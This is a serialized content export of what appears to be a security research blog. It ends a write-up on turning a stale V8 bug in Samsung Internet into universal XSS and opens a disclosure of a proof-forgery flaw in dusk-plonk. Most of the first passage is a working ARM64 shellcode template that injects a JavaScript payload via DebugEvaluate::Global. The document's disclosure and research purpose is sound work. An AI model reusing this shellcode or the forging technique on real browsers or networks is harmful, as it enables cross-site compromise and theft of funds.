repl_mode);\n",[144496],{"type":22,"tag":30,"props":144497,"children":144498},{"__ignoreMap":7},[144499,144547,144576,144597],{"type":22,"tag":101,"props":144500,"children":144501},{"class":103,"line":104},[144502,144507,144511,144515,144520,144525,144529,144534,144538,144543],{"type":22,"tag":101,"props":144503,"children":144504},{"style":114},[144505],{"type":27,"value":144506},"MaybeDirectHandle",{"type":22,"tag":101,"props":144508,"children":144509},{"style":120},[144510],{"type":27,"value":123},{"type":22,"tag":101,"props":144512,"children":144513},{"style":114},[144514],{"type":27,"value":2040},{"type":22,"tag":101,"props":144516,"children":144517},{"style":120},[144518],{"type":27,"value":144519},"> DebugEvaluate::",{"type":22,"tag":101,"props":144521,"children":144522},{"style":926},[144523],{"type":27,"value":144524},"Global",{"type":22,"tag":101,"props":144526,"children":144527},{"style":120},[144528],{"type":27,"value":980},{"type":22,"tag":101,"props":144530,"children":144531},{"style":114},[144532],{"type":27,"value":144533},"Isolate",{"type":22,"tag":101,"props":144535,"children":144536},{"style":108},[144537],{"type":27,"value":8615},{"type":22,"tag":101,"props":144539,"children":144540},{"style":126},[144541],{"type":27,"value":144542}," isolate",{"type":22,"tag":101,"props":144544,"children":144545},{"style":120},[144546],{"type":27,"value":179},{"type":22,"tag":101,"props":144548,"children":144549},{"class":103,"line":157},[144550,144555,144559,144563,144567,144572],{"type":22,"tag":101,"props":144551,"children":144552},{"style":114},[144553],{"type":27,"value":144554}," Handle",{"type":22,"tag":101,"props":144556,"children":144557},{"style":120},[144558],{"type":27,"value":123},{"type":22,"tag":101,"props":144560,"children":144561},{"style":114},[144562],{"type":27,"value":51923},{"type":22,"tag":101,"props":144564,"children":144565},{"style":120},[144566],{"type":27,"value":139},{"type":22,"tag":101,"props":144568,"children":144569},{"style":126},[144570],{"type":27,"value":144571},"source",{"type":22,"tag":101,"props":144573,"children":144574},{"style":120},[144575],{"type":27,"value":179},{"type":22,"tag":101,"props":144577,"children":144578},{"class":103,"line":182},[144579,144584,144589,144593],{"type":22,"tag":101,"props":144580,"children":144581},{"style":120},[144582],{"type":27,"value":144583}," debug::",{"type":22,"tag":101,"props":144585,"children":144586},{"style":114},[144587],{"type":27,"value":144588},"EvaluateGlobalMode",{"type":22,"tag":101,"props":144590,"children":144591},{"style":126},[144592],{"type":27,"value":109781},{"type":22,"tag":101,"props":144594,"children":144595},{"style":120},[144596],{"type":27,"value":179},{"type":22,"tag":101,"props":144598,"children":144599},{"class":103,"line":367},[144600,144605,144610],{"type":22,"tag":101,"props":144601,"children":144602},{"style":114},[144603],{"type":27,"value":144604}," REPLMode",{"type":22,"tag":101,"props":144606,"children":144607},{"style":126},[144608],{"type":27,"value":144609}," repl_mode",{"type":22,"tag":101,"props":144611,"children":144612},{"style":120},[144613],{"type":27,"value":994},{"type":22,"tag":23,"props":144615,"children":144616},{},[144617,144619,144624,144626,144631,144633,144638,144640,144646,144647,144653],{"type":27,"value":144618},"We must supply the ",{"type":22,"tag":30,"props":144620,"children":144622},{"className":144621},[],[144623],{"type":27,"value":144192},{"type":27,"value":144625}," pointer, a ",{"type":22,"tag":30,"props":144627,"children":144629},{"className":144628},[],[144630],{"type":27,"value":51923},{"type":27,"value":144632}," object containing our XSS payload as ",{"type":22,"tag":30,"props":144634,"children":144636},{"className":144635},[],[144637],{"type":27,"value":144571},{"type":27,"value":144639},", and the ",{"type":22,"tag":30,"props":144641,"children":144643},{"className":144642},[],[144644],{"type":27,"value":144645},"mode",{"type":27,"value":209},{"type":22,"tag":30,"props":144648,"children":144650},{"className":144649},[],[144651],{"type":27,"value":144652},"repl_mode",{"type":27,"value":144654}," values, which are simple enum literals.",{"type":22,"tag":23,"props":144656,"children":144657},{},[144658,144660,144665,144667,144673,144675,144680,144682,144687,144689,144695,144697,144703,144705,144710,144712,144717,144719,144724,144726,144731],{"type":27,"value":144659},"To obtain the ",{"type":22,"tag":30,"props":144661,"children":144663},{"className":144662},[],[144664],{"type":27,"value":144192},{"type":27,"value":144666}," pointer within our shellcode, we call ",{"type":22,"tag":30,"props":144668,"children":144670},{"className":144669},[],[144671],{"type":27,"value":144672},"Isolate::TryGetCurrent()",{"type":27,"value":144674},", which returns the current ",{"type":22,"tag":30,"props":144676,"children":144678},{"className":144677},[],[144679],{"type":27,"value":144192},{"type":27,"value":144681},". To construct a valid ",{"type":22,"tag":30,"props":144683,"children":144685},{"className":144684},[],[144686],{"type":27,"value":51923},{"type":27,"value":144688}," object holding our payload, we call ",{"type":22,"tag":30,"props":144690,"children":144692},{"className":144691},[],[144693],{"type":27,"value":144694},"v8::String::NewFromUTF8",{"type":27,"value":144696},". This ",{"type":22,"tag":30,"props":144698,"children":144700},{"className":144699},[],[144701],{"type":27,"value":144702},"NewFromUTF8",{"type":27,"value":144704}," function takes four arguments: the ",{"type":22,"tag":30,"props":144706,"children":144708},{"className":144707},[],[144709],{"type":27,"value":144192},{"type":27,"value":144711},", the string bytes as ",{"type":22,"tag":30,"props":144713,"children":144715},{"className":144714},[],[144716],{"type":27,"value":7738},{"type":27,"value":144718},", an enum literal specifying the string type, and ",{"type":22,"tag":30,"props":144720,"children":144722},{"className":144721},[],[144723],{"type":27,"value":12511},{"type":27,"value":144725},", which is the size of the ",{"type":22,"tag":30,"props":144727,"children":144729},{"className":144728},[],[144730],{"type":27,"value":7738},{"type":27,"value":21161},{"type":22,"tag":23,"props":144733,"children":144734},{},[144735],{"type":27,"value":144736},"The resulting shellcode that executes our XSS payload looks like this:",{"type":22,"tag":91,"props":144738,"children":144740},{"code":144739,"language":143028,"meta":7,"className":143029,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[144741],{"type":22,"tag":30,"props":144742,"children":144743},{"__ignoreMap":7},[144744,144752,144760,144768,144776,144784,144792,144800,144808,144816,144824,144832,144840,144847,144855,144863,144871,144879,144886,144894,144901,144909,144917,144924,144931,144938,144945,144952,144959,144967,144975,144982,144990,144998,145005,145013,145021,145028,145035,145043,145051,145059,145066,145074,145082,145090,145098,145106,145114,145122,145130,145138,145146,145154,145161,145169,145177,145184,145192,145200,145208,145216,145223,145231,145238,145245,145253,145261,145269,145277,145286,145295,145303],{"type":22,"tag":101,"props":144745,"children":144746},{"class":103,"line":104},[144747],{"type":22,"tag":101,"props":144748,"children":144749},{},[144750],{"type":27,"value":144751},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":22,"tag":101,"props":144753,"children":144754},{"class":103,"line":157},[144755],{"type":22,"tag":101,"props":144756,"children":144757},{},[144758],{"type":27,"value":144759},"movz x1, #0xf7a0\n",{"type":22,"tag":101,"props":144761,"children":144762},{"class":103,"line":182},[144763],{"type":22,"tag":101,"props":144764,"children":144765},{},[144766],{"type":27,"value":144767},"movk x1, #0x0071, lsl #16\n",{"type":22,"tag":101,"props":144769,"children":144770},{"class":103,"line":367},[144771],{"type":22,"tag":101,"props":144772,"children":144773},{},[144774],{"type":27,"value":144775},"add x9, x12, x1\n",{"type":22,"tag":101,"props":144777,"children":144778},{"class":103,"line":398},[144779],{"type":22,"tag":101,"props":144780,"children":144781},{},[144782],{"type":27,"value":144783},"movz x1, #0x5ac8\n",{"type":22,"tag":101,"props":144785,"children":144786},{"class":103,"line":428},[144787],{"type":22,"tag":101,"props":144788,"children":144789},{},[144790],{"type":27,"value":144791},"movk x1, #0x054f, lsl #16\n",{"type":22,"tag":101,"props":144793,"children":144794},{"class":103,"line":997},[144795],{"type":22,"tag":101,"props":144796,"children":144797},{},[144798],{"type":27,"value":144799},"add x0, x12, x1\n",{"type":22,"tag":101,"props":144801,"children":144802},{"class":103,"line":1032},[144803],{"type":22,"tag":101,"props":144804,"children":144805},{},[144806],{"type":27,"value":144807},"blr x9\n",{"type":22,"tag":101,"props":144809,"children":144810},{"class":103,"line":1063},[144811],{"type":22,"tag":101,"props":144812,"children":144813},{},[144814],{"type":27,"value":144815},"// *x0 is isolate pointer\n",{"type":22,"tag":101,"props":144817,"children":144818},{"class":103,"line":1071},[144819],{"type":22,"tag":101,"props":144820,"children":144821},{},[144822],{"type":27,"value":144823},"// store isolate ptr to stack\n",{"type":22,"tag":101,"props":144825,"children":144826},{"class":103,"line":1110},[144827],{"type":22,"tag":101,"props":144828,"children":144829},{},[144830],{"type":27,"value":144831},"ldr x13, [x0]\n",{"type":22,"tag":101,"props":144833,"children":144834},{"class":103,"line":1118},[144835],{"type":22,"tag":101,"props":144836,"children":144837},{},[144838],{"type":27,"value":144839},"str x13, [sp, #-16]!\n",{"type":22,"tag":101,"props":144841,"children":144842},{"class":103,"line":1158},[144843],{"type":22,"tag":101,"props":144844,"children":144845},{"emptyLinePlaceholder":15},[144846],{"type":27,"value":1581},{"type":22,"tag":101,"props":144848,"children":144849},{"class":103,"line":1166},[144850],{"type":22,"tag":101,"props":144851,"children":144852},{},[144853],{"type":27,"value":144854},"// store x10 = v8::String::NewFromUTF8\n",{"type":22,"tag":101,"props":144856,"children":144857},{"class":103,"line":1215},[144858],{"type":22,"tag":101,"props":144859,"children":144860},{},[144861],{"type":27,"value":144862},"movz x1, #0x1140\n",{"type":22,"tag":101,"props":144864,"children":144865},{"class":103,"line":2425},[144866],{"type":22,"tag":101,"props":144867,"children":144868},{},[144869],{"type":27,"value":144870},"movk x1, #0x0242, lsl #16\n",{"type":22,"tag":101,"props":144872,"children":144873},{"class":103,"line":5417},[144874],{"type":22,"tag":101,"props":144875,"children":144876},{},[144877],{"type":27,"value":144878},"sub x10, x12, x1\n",{"type":22,"tag":101,"props":144880,"children":144881},{"class":103,"line":7714},[144882],{"type":22,"tag":101,"props":144883,"children":144884},{"emptyLinePlaceholder":15},[144885],{"type":27,"value":1581},{"type":22,"tag":101,"props":144887,"children":144888},{"class":103,"line":7723},[144889],{"type":22,"tag":101,"props":144890,"children":144891},{},[144892],{"type":27,"value":144893},"// mmap a RW page for our xss payload\n",{"type":22,"tag":101,"props":144895,"children":144896},{"class":103,"line":7791},[144897],{"type":22,"tag":101,"props":144898,"children":144899},{},[144900],{"type":27,"value":143244},{"type":22,"tag":101,"props":144902,"children":144903},{"class":103,"line":7799},[144904],{"type":22,"tag":101,"props":144905,"children":144906},{},[144907],{"type":27,"value":144908},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":22,"tag":101,"props":144910,"children":144911},{"class":103,"line":7829},[144912],{"type":22,"tag":101,"props":144913,"children":144914},{},[144915],{"type":27,"value":144916},"mov x2, #3\n",{"type":22,"tag":101,"props":144918,"children":144919},{"class":103,"line":7837},[144920],{"type":22,"tag":101,"props":144921,"children":144922},{},[144923],{"type":27,"value":143267},{"type":22,"tag":101,"props":144925,"children":144926},{"class":103,"line":7868},[144927],{"type":22,"tag":101,"props":144928,"children":144929},{},[144930],{"type":27,"value":143275},{"type":22,"tag":101,"props":144932,"children":144933},{"class":103,"line":7876},[144934],{"type":22,"tag":101,"props":144935,"children":144936},{},[144937],{"type":27,"value":143283},{"type":22,"tag":101,"props":144939,"children":144940},{"class":103,"line":7936},[144941],{"type":22,"tag":101,"props":144942,"children":144943},{},[144944],{"type":27,"value":143291},{"type":22,"tag":101,"props":144946,"children":144947},{"class":103,"line":13054},[144948],{"type":22,"tag":101,"props":144949,"children":144950},{},[144951],{"type":27,"value":143206},{"type":22,"tag":101,"props":144953,"children":144954},{"class":103,"line":13072},[144955],{"type":22,"tag":101,"props":144956,"children":144957},{"emptyLinePlaceholder":15},[144958],{"type":27,"value":1581},{"type":22,"tag":101,"props":144960,"children":144961},{"class":103,"line":13117},[144962],{"type":22,"tag":101,"props":144963,"children":144964},{},[144965],{"type":27,"value":144966},"// write our xss payload to mmapped rw page\n",{"type":22,"tag":101,"props":144968,"children":144969},{"class":103,"line":13223},[144970],{"type":22,"tag":101,"props":144971,"children":144972},{},[144973],{"type":27,"value":144974},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":22,"tag":101,"props":144976,"children":144977},{"class":103,"line":27496},[144978],{"type":22,"tag":101,"props":144979,"children":144980},{"emptyLinePlaceholder":15},[144981],{"type":27,"value":1581},{"type":22,"tag":101,"props":144983,"children":144984},{"class":103,"line":27531},[144985],{"type":22,"tag":101,"props":144986,"children":144987},{},[144988],{"type":27,"value":144989},"// store x11 = XSS_PAYLOAD string\n",{"type":22,"tag":101,"props":144991,"children":144992},{"class":103,"line":27539},[144993],{"type":22,"tag":101,"props":144994,"children":144995},{},[144996],{"type":27,"value":144997},"mov x11, x0\n",{"type":22,"tag":101,"props":144999,"children":145000},{"class":103,"line":27547},[145001],{"type":22,"tag":101,"props":145002,"children":145003},{"emptyLinePlaceholder":15},[145004],{"type":27,"value":1581},{"type":22,"tag":101,"props":145006,"children":145007},{"class":103,"line":27556},[145008],{"type":22,"tag":101,"props":145009,"children":145010},{},[145011],{"type":27,"value":145012},"// pop back isolate pointer\n",{"type":22,"tag":101,"props":145014,"children":145015},{"class":103,"line":27598},[145016],{"type":22,"tag":101,"props":145017,"children":145018},{},[145019],{"type":27,"value":145020},"ldr x13, [sp], #16\n",{"type":22,"tag":101,"props":145022,"children":145023},{"class":103,"line":27631},[145024],{"type":22,"tag":101,"props":145025,"children":145026},{"emptyLinePlaceholder":15},[145027],{"type":27,"value":1581},{"type":22,"tag":101,"props":145029,"children":145030},{"class":103,"line":27639},[145031],{"type":22,"tag":101,"props":145032,"children":145033},{},[145034],{"type":27,"value":143327},{"type":22,"tag":101,"props":145036,"children":145037},{"class":103,"line":27647},[145038],{"type":22,"tag":101,"props":145039,"children":145040},{},[145041],{"type":27,"value":145042},"// x13 = isolate *\n",{"type":22,"tag":101,"props":145044,"children":145045},{"class":103,"line":27656},[145046],{"type":22,"tag":101,"props":145047,"children":145048},{},[145049],{"type":27,"value":145050},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":22,"tag":101,"props":145052,"children":145053},{"class":103,"line":27732},[145054],{"type":22,"tag":101,"props":145055,"children":145056},{},[145057],{"type":27,"value":145058},"// x10 = v8::String::NewFromUtf8\n",{"type":22,"tag":101,"props":145060,"children":145061},{"class":103,"line":27765},[145062],{"type":22,"tag":101,"props":145063,"children":145064},{"emptyLinePlaceholder":15},[145065],{"type":27,"value":1581},{"type":22,"tag":101,"props":145067,"children":145068},{"class":103,"line":27773},[145069],{"type":22,"tag":101,"props":145070,"children":145071},{},[145072],{"type":27,"value":145073},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":22,"tag":101,"props":145075,"children":145076},{"class":103,"line":27781},[145077],{"type":22,"tag":101,"props":145078,"children":145079},{},[145080],{"type":27,"value":145081},"// arg0 = isolate *\n",{"type":22,"tag":101,"props":145083,"children":145084},{"class":103,"line":27818},[145085],{"type":22,"tag":101,"props":145086,"children":145087},{},[145088],{"type":27,"value":145089},"mov x0, x13\n",{"type":22,"tag":101,"props":145091,"children":145092},{"class":103,"line":27831},[145093],{"type":22,"tag":101,"props":145094,"children":145095},{},[145096],{"type":27,"value":145097},"// arg1 = char *c_str\n",{"type":22,"tag":101,"props":145099,"children":145100},{"class":103,"line":27844},[145101],{"type":22,"tag":101,"props":145102,"children":145103},{},[145104],{"type":27,"value":145105},"mov x1, x11\n",{"type":22,"tag":101,"props":145107,"children":145108},{"class":103,"line":27857},[145109],{"type":22,"tag":101,"props":145110,"children":145111},{},[145112],{"type":27,"value":145113},"// arg2 = type = kNormal\n",{"type":22,"tag":101,"props":145115,"children":145116},{"class":103,"line":27911},[145117],{"type":22,"tag":101,"props":145118,"children":145119},{},[145120],{"type":27,"value":145121},"mov x2, #0\n",{"type":22,"tag":101,"props":145123,"children":145124},{"class":103,"line":27920},[145125],{"type":22,"tag":101,"props":145126,"children":145127},{},[145128],{"type":27,"value":145129},"// arg4 = length\n",{"type":22,"tag":101,"props":145131,"children":145132},{"class":103,"line":36277},[145133],{"type":22,"tag":101,"props":145134,"children":145135},{},[145136],{"type":27,"value":145137},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":22,"tag":101,"props":145139,"children":145140},{"class":103,"line":36298},[145141],{"type":22,"tag":101,"props":145142,"children":145143},{},[145144],{"type":27,"value":145145},"// call NewFromUTF8\n",{"type":22,"tag":101,"props":145147,"children":145148},{"class":103,"line":84458},[145149],{"type":22,"tag":101,"props":145150,"children":145151},{},[145152],{"type":27,"value":145153},"blr x10\n",{"type":22,"tag":101,"props":145155,"children":145156},{"class":103,"line":84471},[145157],{"type":22,"tag":101,"props":145158,"children":145159},{"emptyLinePlaceholder":15},[145160],{"type":27,"value":1581},{"type":22,"tag":101,"props":145162,"children":145163},{"class":103,"line":84479},[145164],{"type":22,"tag":101,"props":145165,"children":145166},{},[145167],{"type":27,"value":145168},"// store x14 = String XSS_PAYLOAD\n",{"type":22,"tag":101,"props":145170,"children":145171},{"class":103,"line":84487},[145172],{"type":22,"tag":101,"props":145173,"children":145174},{},[145175],{"type":27,"value":145176},"mov x14, x0\n",{"type":22,"tag":101,"props":145178,"children":145179},{"class":103,"line":84495},[145180],{"type":22,"tag":101,"props":145181,"children":145182},{"emptyLinePlaceholder":15},[145183],{"type":27,"value":1581},{"type":22,"tag":101,"props":145185,"children":145186},{"class":103,"line":84535},[145187],{"type":22,"tag":101,"props":145188,"children":145189},{},[145190],{"type":27,"value":145191},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":22,"tag":101,"props":145193,"children":145194},{"class":103,"line":84543},[145195],{"type":22,"tag":101,"props":145196,"children":145197},{},[145198],{"type":27,"value":145199},"movz x1, #0xe44c\n",{"type":22,"tag":101,"props":145201,"children":145202},{"class":103,"line":91730},[145203],{"type":22,"tag":101,"props":145204,"children":145205},{},[145206],{"type":27,"value":145207},"movk x1, #0x014e, lsl #16\n",{"type":22,"tag":101,"props":145209,"children":145210},{"class":103,"line":91738},[145211],{"type":22,"tag":101,"props":145212,"children":145213},{},[145214],{"type":27,"value":145215},"sub x9, x12, x1\n",{"type":22,"tag":101,"props":145217,"children":145218},{"class":103,"line":105084},[145219],{"type":22,"tag":101,"props":145220,"children":145221},{"emptyLinePlaceholder":15},[145222],{"type":27,"value":1581},{"type":22,"tag":101,"props":145224,"children":145225},{"class":103,"line":105092},[145226],{"type":22,"tag":101,"props":145227,"children":145228},{},[145229],{"type":27,"value":145230},"// call v8::internal::DebugEvaluate::Global\n",{"type":22,"tag":101,"props":145232,"children":145233},{"class":103,"line":105100},[145234],{"type":22,"tag":101,"props":145235,"children":145236},{},[145237],{"type":27,"value":145081},{"type":22,"tag":101,"props":145239,"children":145240},{"class":103,"line":105108},[145241],{"type":22,"tag":101,"props":145242,"children":145243},{},[145244],{"type":27,"value":145089},{"type":22,"tag":101,"props":145246,"children":145247},{"class":103,"line":105136},[145248],{"type":22,"tag":101,"props":145249,"children":145250},{},[145251],{"type":27,"value":145252},"// arg1 = String *source\n",{"type":22,"tag":101,"props":145254,"children":145255},{"class":103,"line":107907},[145256],{"type":22,"tag":101,"props":145257,"children":145258},{},[145259],{"type":27,"value":145260},"mov x1, x14\n",{"type":22,"tag":101,"props":145262,"children":145263},{"class":103,"line":107915},[145264],{"type":22,"tag":101,"props":145265,"children":145266},{},[145267],{"type":27,"value":145268},"// arg2 = mode = kDefault\n",{"type":22,"tag":101,"props":145270,"children":145272},{"class":103,"line":145271},69,[145273],{"type":22,"tag":101,"props":145274,"children":145275},{},[145276],{"type":27,"value":145121},{"type":22,"tag":101,"props":145278,"children":145280},{"class":103,"line":145279},70,[145281],{"type":22,"tag":101,"props":145282,"children":145283},{},[145284],{"type":27,"value":145285},"// arg3 = repl_mode = kYes\n",{"type":22,"tag":101,"props":145287,"children":145289},{"class":103,"line":145288},71,[145290],{"type":22,"tag":101,"props":145291,"children":145292},{},[145293],{"type":27,"value":145294},"mov x3, #0\n",{"type":22,"tag":101,"props":145296,"children":145298},{"class":103,"line":145297},72,[145299],{"type":22,"tag":101,"props":145300,"children":145301},{"emptyLinePlaceholder":15},[145302],{"type":27,"value":1581},{"type":22,"tag":101,"props":145304,"children":145306},{"class":103,"line":145305},73,[145307],{"type":22,"tag":101,"props":145308,"children":145309},{},[145310],{"type":27,"value":144807},{"type":22,"tag":1760,"props":145312,"children":145314},{"id":145313},"uxss-demo",[145315],{"type":27,"value":145316},"UXSS Demo",{"type":22,"tag":23,"props":145318,"children":145319},{},[145320,145322,145328],{"type":27,"value":145321},"Below is a demo that executes the following UXSS payload: ",{"type":22,"tag":30,"props":145323,"children":145325},{"className":145324},[],[145326],{"type":27,"value":145327},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":27,"value":231},{"type":22,"tag":135365,"props":145330,"children":145333},{"className":145331,"controls":15},[145332],"blog-video-responsive",[145334,145336,145340],{"type":27,"value":145335},"\n ",{"type":22,"tag":144571,"props":145337,"children":145339},{"src":145338,"type":135363},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":27,"value":145341},"\n Your browser does not support the video tag.\n",{"type":22,"tag":53,"props":145343,"children":145344},{"id":6776},[145345],{"type":27,"value":6779},{"type":22,"tag":23,"props":145347,"children":145348},{},[145349],{"type":27,"value":145350},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":22,"tag":23,"props":145352,"children":145353},{},[145354],{"type":27,"value":145355},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":22,"tag":6891,"props":145357,"children":145358},{},[145359],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":145361},[145362,145366,145369,145379],{"id":33014,"depth":157,"text":33017,"children":145363},[145364,145365],{"id":135499,"depth":182,"text":135502},{"id":135582,"depth":182,"text":135585},{"id":135615,"depth":157,"text":135618,"children":145367},[145368],{"id":135756,"depth":182,"text":135610},{"id":135900,"depth":157,"text":135903,"children":145370},[145371,145372,145373,145374,145375,145376,145377,145378],{"id":135906,"depth":182,"text":135909},{"id":136363,"depth":182,"text":136366},{"id":136546,"depth":182,"text":136549},{"id":136657,"depth":182,"text":136660},{"id":136934,"depth":182,"text":136937},{"id":139644,"depth":182,"text":139647},{"id":142925,"depth":182,"text":142928},{"id":145313,"depth":182,"text":145316},{"id":6776,"depth":157,"text":6779},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":145384,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":145385,"description":145386,"date":145387,"author":145388,"image":145389,"isFeatured":15,"onBlogPage":15,"tags":145391,"body":145394,"_type":6912,"_id":150658,"_source":6914,"_file":150659,"_stem":150660,"_extension":6917},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[111345,111346],{"src":145390,"width":100775,"height":17626},"/posts/dusk-commitment-issues/title.png",[145392,145393],"dusk","plonk",{"type":19,"children":145395,"toc":150638},[145396,145402,145443,145455,145461,145475,145480,145486,145777,145781,146053,146283,146289,146974,146978,147473,147481,147487,147506,147511,147517,147742,147781,147792,147798,147809,148517,148522,148525,148531,148584,148619,148651,148656,148660,148663,148669,148680,148693,148724,148791,148799,148821,148834,149261,149284,149289,149292,149297,149324,149420,149431,149478,149516,149527,149865,149882,149890,149893,149899,149904,149938,149946,150027,150030,150036,150050,150068,150073,150113,150121,150142,150145,150151,150156,150221,150235,150238,150244,150284,150295,150300,150305,150311,150325,150406,150427,150454,150457,150463,150477,150482,150487,150492,150627,150633],{"type":22,"tag":39369,"props":145397,"children":145399},{"id":145398},"commitment-issues-unverified-evaluations-in-dusks-plonk",[145400],{"type":27,"value":145401},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":22,"tag":23,"props":145403,"children":145404},{},[145405,145407,145414,145416,145423,145425,145432,145434,145441],{"type":27,"value":145406},"We found a critical soundness vulnerability in ",{"type":22,"tag":80,"props":145408,"children":145411},{"href":145409,"rel":145410},"https://github.com/dusk-network/plonk/",[84],[145412],{"type":27,"value":145413},"dusk-plonk",{"type":27,"value":145415},", the PLONK implementation powering ",{"type":22,"tag":80,"props":145417,"children":145420},{"href":145418,"rel":145419},"https://dusk.network/",[84],[145421],{"type":27,"value":145422},"Dusk Network's",{"type":27,"value":145424}," ~$60M ",{"type":22,"tag":80,"props":145426,"children":145429},{"href":145427,"rel":145428},"https://www.coingecko.com/en/coins/dusk",[84],[145430],{"type":27,"value":145431},"market cap",{"type":27,"value":145433},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":22,"tag":80,"props":145435,"children":145438},{"href":145436,"rel":145437},"https://github.com/dusk-network/rusk",[84],[145439],{"type":27,"value":145440},"Rusk",{"type":27,"value":145442}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":22,"tag":23,"props":145444,"children":145445},{},[145446,145448,145453],{"type":27,"value":145447},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":22,"tag":9370,"props":145449,"children":145450},{},[145451],{"type":27,"value":145452},"without ever validating them against the trusted commitments in the verifier key.",{"type":27,"value":145454}," The prover can set them to whatever values make the equation pass.",{"type":22,"tag":53,"props":145456,"children":145458},{"id":145457},"how-plonk-works-briefly",[145459],{"type":27,"value":145460},"How PLONK works (briefly)",{"type":22,"tag":23,"props":145462,"children":145463},{},[145464,145466,145473],{"type":27,"value":145465},"For a rigorous treatment see the ",{"type":22,"tag":80,"props":145467,"children":145470},{"href":145468,"rel":145469},"https://eprint.iacr.org/2019/953",[84],[145471],{"type":27,"value":145472},"original paper",{"type":27,"value":145474},"; what follows covers only the parts needed to understand the bug.",{"type":22,"tag":23,"props":145476,"children":145477},{},[145478],{"type":27,"value":145479},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":22,"tag":1760,"props":145481,"children":145483},{"id":145482},"arithmetic-circuits-and-constraints",[145484],{"type":27,"value":145485},"Arithmetic circuits and constraints",{"type":22,"tag":23,"props":145487,"children":145488},{},[145489,145491,145540,145542,145691,145693,145776],{"type":27,"value":145490},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":22,"tag":30,"props":145492,"children":145494},{"className":145493},[8026,8027],[145495],{"type":22,"tag":101,"props":145496,"children":145498},{"className":145497},[8032],[145499],{"type":22,"tag":101,"props":145500,"children":145502},{"className":145501,"ariaHidden":5608},[8037],[145503],{"type":22,"tag":101,"props":145504,"children":145506},{"className":145505},[8042],[145507,145511,145516,145521,145526,145530,145535],{"type":22,"tag":101,"props":145508,"children":145510},{"className":145509,"style":8154},[8047],[],{"type":22,"tag":101,"props":145512,"children":145514},{"className":145513},[25704],[145515],{"type":27,"value":980},{"type":22,"tag":101,"props":145517,"children":145519},{"className":145518},[8053,25575],[145520],{"type":27,"value":23266},{"type":22,"tag":101,"props":145522,"children":145524},{"className":145523},[8165],[145525],{"type":27,"value":8168},{"type":22,"tag":101,"props":145527,"children":145529},{"className":145528,"style":8172},[8133],[],{"type":22,"tag":101,"props":145531,"children":145533},{"className":145532,"style":97040},[8053,25575],[145534],{"type":27,"value":7155},{"type":22,"tag":101,"props":145536,"children":145538},{"className":145537},[25726],[145539],{"type":27,"value":2261},{"type":27,"value":145541}," on an elliptic curve, by e.g proving that 